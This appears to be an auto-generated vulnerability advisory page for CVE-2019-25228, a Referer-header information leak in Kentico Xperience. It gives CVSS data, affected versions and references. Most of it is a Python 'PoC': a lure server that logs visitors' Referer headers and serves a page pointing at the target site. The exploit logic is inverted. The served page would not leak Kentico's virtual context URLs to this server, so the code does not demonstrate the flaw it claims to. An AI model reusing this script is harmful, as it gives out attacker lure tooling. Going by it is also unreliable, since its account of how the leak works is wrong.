CVE-2019-25228

Description

An information disclosure vulnerability in Kentico Xperience allows attackers to leak virtual context URLs via the HTTP Referer header when users interact with third-party domains. Sensitive virtual context information can be exposed to external domains through page builder interactions and link/image loading.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:* - VULNERABLE

Kentico Xperience < 13.0.200

Kentico Xperience 12.0.x < 12.0.180

Kentico Xperience 11.0.x < 11.0.203

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2019-25228 PoC - Information Disclosure via HTTP Referer
# This PoC demonstrates how virtual context URLs can be leaked

import http.server
import socketserver
from urllib.parse import urlparse, parse_qs

class LeakingServer(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Log all incoming requests including Referer headers
        referer = self.headers.get('Referer', 'No Referer')
        print(f"[+] Received request from: {self.client_address}")
        print(f"[+] Referer: {referer}")
        
        # Parse Referer to extract virtual context URLs
        if referer != 'No Referer':
            parsed = urlparse(referer)
            print(f"[+] Path: {parsed.path}")
            print(f"[+] Query: {parsed.query}")
            
            # Check for Kentico virtual context patterns
            if any(pattern in referer.lower() for pattern in ['kentico', 'pagebuilder', '/cmspages/', '/cmsapi/']):
                print(f"[!] VULNERABLE: Virtual context URL leaked: {referer}")
        
        # Serve malicious page with embedded resources
        html = '''
        <html>
        <head><title>Click to view content</title></head>
        <body>
            <h1>Click below to view content</h1>
            <!-- Image from Kentico site - triggers Referer leak -->
            <img src="http://target-kentico-site.com/media/images/tracking.gif" width="1" height="1">
            <!-- Link to Kentico site -->
            <a href="http://target-kentico-site.com/cmspages/pagebuilder.aspx">Continue</a>
        </body>
        </html>
        '''
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(html.encode())

if __name__ == '__main__':
    PORT = 8080
    print(f"[*] Starting malicious server on port {PORT}")
    print(f"[*] Wait for victim to visit this page")
    with socketserver.TCPServer(("", PORT), LeakingServer) as httpd:
        httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25228
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25228
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25228/
[4] VulDB https://vuldb.com/cve/CVE-2019-25228
[5] https://devnet.kentico.com/download/hotfixes
[6] https://www.vulncheck.com/advisories/kentico-xperience-virtual-context-information-disclosure

Raw JSON Data

JSON

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